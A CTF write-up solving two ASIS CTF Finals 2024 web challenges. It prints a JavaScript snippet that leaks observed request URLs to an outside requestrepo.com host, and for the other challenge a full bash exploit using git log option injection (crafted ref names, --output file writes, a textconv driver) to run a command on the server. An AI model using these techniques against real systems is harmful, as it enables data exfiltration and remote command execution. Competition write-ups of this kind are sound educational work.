Write-up for ASIS CTF Finals 2024 — Web challenges fetch-box and gitmails.
fetch-box (19 solves)
Use PerformanceObserver to observe fetch requests:
new PerformanceObserver((list) => {
list.getEntries().forEach((entry) => {
if (entry.name.includes('/ping?')) {
location = 'https://*.requestrepo.com/' + entry.name;
}
});
}).observe({entryTypes: ['resource']});BTW, service worker does not work because it's not HTTPS.
gitmails (5 solves)
git log option injection
emails = check_output(
['git', 'log', '--pretty=format:%ae',
*([f'--author={author}'] if author else []),
branch],
cwd=repo_dirHere the branch is supposed to be a branch, but it will be an option if it starts with -.
The git CLI does not allow such branch names, but we can modify the refs directly. For example:
cp .git/refs/heads/master .git/refs/heads/--output=configgit log --output for file writing
We can use git log --output to write the log to arbitrary file. Find this in man git log or git | GTFOArgs.
As -- is set, we can use the email of each commit for each line in the output, e.g.:
GIT_AUTHOR_EMAIL="pager = /readflag" git commit --allow-empty -m nothing
GIT_AUTHOR_EMAIL='[core]' git commit --allow-empty -m nothingApproaches that do not work
core: It's on GTFOArgs but it's not triggered by. fsmonitor git log.core.pager: The output pipes into thecheck_outputfunction without an interactive tty, so Git does not use a pager.core.alternateRefsCommand: Need a known path to anobjectsdirectory that is not the current repository.diff/. external diff: Need both.< driver >. command -pand--ext-diffbut we can only inject a single option.
textconv for command execution
diff can be used to execute arbitrary command with git log -p.
The textconv command is called as <cmd> <filename>, so we can use textconv to output the flag.
We need to set the diff driver in the info file, such as * [ and [diff "flag"] textconv = /readflag.
However, we only have a single commit log (the branch argument is used as an option instead), so we will have identical config and info, but they have different syntax and contents.
The config needs to be completely valid, while attributes may have syntax errors. So we can append a= diff=flag to config, which is the attribute we need and also a valid line in config. Then add a file with name a= in the repository to see the diff.
Hosting the repository
If we don't want to use a public service like GitHub, we should host the repository to support read-only HTTP clone.
It's actually super easy. Just run git in the .git directory and run an HTTP server.
Final script
#!/bin/bash
set -euo pipefail
mkdir exp
cd exp
git init
touch a=
git add .
GIT_AUTHOR_EMAIL='a= diff=flag' git commit -m nothing
GIT_AUTHOR_EMAIL="textconv = /readflag '--give-me-the-f|ag' | tee" git commit --allow-empty -m nothing
GIT_AUTHOR_EMAIL='[diff "flag"]' git commit --allow-empty -m nothing
cd .git
cp refs/heads/master refs/heads/--output=config
mkdir refs/heads/--output=info
cp refs/heads/master refs/heads/--output=info/attributes
cp refs/heads/master refs/heads/-p
git --bare update-server-info
python -m http.server 1337Then ask the challenge server to clone your HTTP git server.